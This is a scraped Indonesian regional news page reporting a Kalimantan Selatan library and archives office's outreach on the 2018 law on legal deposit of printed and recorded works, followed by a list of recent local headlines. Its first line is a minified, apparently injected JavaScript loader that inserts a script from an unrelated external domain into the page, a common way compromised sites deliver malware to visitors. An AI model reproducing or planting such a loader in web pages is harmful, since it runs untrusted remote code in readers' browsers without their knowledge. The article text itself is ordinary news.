(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kota Banjarmasin

Penulis dan Penerbit Harus Tahu UU Serah Simpan Karya Cetak dan Karya Rekam


BANJARMASIN, Guna menyamakan persepsi dalam hal penyimpanan karya baik berupa cetak maupun rekam, Dinas Perpustakaan dan Kearsipan (Dispersip) Provinsi Kalsel menggelar sosialisasi UU Nomor 13 tahun 2018 tentang serah simpan karya cetak dan karya rekam, Kamis (7/11) siang.

Sosialisasi ini diikuti guru, pustakawan hingga penulis dari seluruh kabupaten/kota di Kalsel. Salah satu peserta, Dr Hatmiati Masy’ud mengatakan, acara ini sangat bagus karena memberikan wawasan bagi penulis dan pustakawan untuk memahami lebih jauh tentang seluk beluk penerbitan karya.

“Selain itu, para narasumber memang memberikan informasi yang jelas tentang seluk beluk karya sehingga para peserta mengerti bagaimana kalau ingin menerbitkan sebuah karya,” kata dosen STAI Rakha Amuntai ini, Kamis (7/11).

“Saya juga berterimakasih dengan Dispersip Kalsel yang telah memfasilitasi acara ini. Karena sangat jarang penulis mendapatkan informasi tentang penerbitan karya ini. Dan saya juga baru pertama kali mengikuti acara seperti ini,” tambahnya.

Senada, salah satu peserta lainnya Samsuni Sarman mengatakan, sebagai seorang yang aktif menulis, secara langsung membuka wawasan arti penting karya tersimpan di perpustakaan, selain aspek kearsipan juga aspek historis. “Sebagai penulis jelas pemahaman tentang UU ini menjadi kekuatan dalam berkarya yang memiliki nilai masa depan lebih baik,” kata guru di SDN Alalak Utara 1 Banjarmasin ini.

Sementara, Kepala Dispersip Provinsi Kalsel Dra Hj Nurliani Dardie mengutarakan, kegiatan ini bertujuan untuk menumbuhkan kesadaran penulis, penerbit dan produsen karya rekam untuk menyerahkan karya rekam. Sehingga, dapat menyelamatkan karya cetak dan karya rekam dari ancaman bahaya yang disebabhan oleh bencana alam maupun perbuatan manusia.

“Selain itu, untuk mewujudkan koleksi nasional dan melestarikannya sebagai hasil budaya bangsa dalam rangka menunjang pembangunan melalui pendidikan, penelitian, dan pengembangan iptek. Dan juga agar karya mereka para penulis bisa diketahui masyarakat luas terutama pengguna jasa perpustakaan,” jelas Bunda Nunung. (fikri)

Reporter : Fikri
Editor : Bie


Desy Arfianty

Recent Posts

Sebelum Dilantik, 30 Calon Terpilih DPRD Banjarbaru Harus Lapor Harta Kekayaan

KANALKALIMANTAN.COM, BANJARBARU – Calon terpilih Anggota Dewan Perwakilan Rakyat Daerah (DPRD) Kota Banjarbaru pada Pemilu… Read More

4 jam ago

Tiga Putra HSU Terbaik Pertama Syarhil Qur’an MTQ XXXV Kalsel

KANALKALIMANTAN.COM, RANTAU - Enam orang dari kafilah Kabupaten Hulu Sungai Utara (HSU) sukses meraih prestasi… Read More

4 jam ago

Resmi Ditetapkan, Ini 45 Calon Terpilih Anggota DPRD Banjarmasin 2024-2029

PAN, Golkar dan PKS Masing-masing 7 Kursi di DPRD Banjarmasin Read More

4 jam ago

Juara Umum di MTQ Provinsi, Ketua LPTQ Banjar Pastikan Bonus bagi Pemenang

KANALKALIMANTAN.COM, MARTAPURA - Kabupaten Banjar meraih sukses pada Musabaqah Tilawatil Quran (MTQ) Nasional XXXV Tingkat… Read More

6 jam ago

Pungut Sampah Suporter Timnas Pasca Nobar di Balai Kota Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU - Suporter setia Timnas Indonesia di Kota Banjarbaru Kalimantan Selatan (Kalsel) kompak membersihkan… Read More

7 jam ago

Sah! Ini Nama 45 Calon Terpilih Anggota DPRD Kabupaten Banjar 2024-2029

Golkar dan Gerindra Masing-masing 8 Kursi, PDIP, Partai Gelora, dan PBB Kebagian 1 Kursi Read More

8 jam ago

This website uses cookies.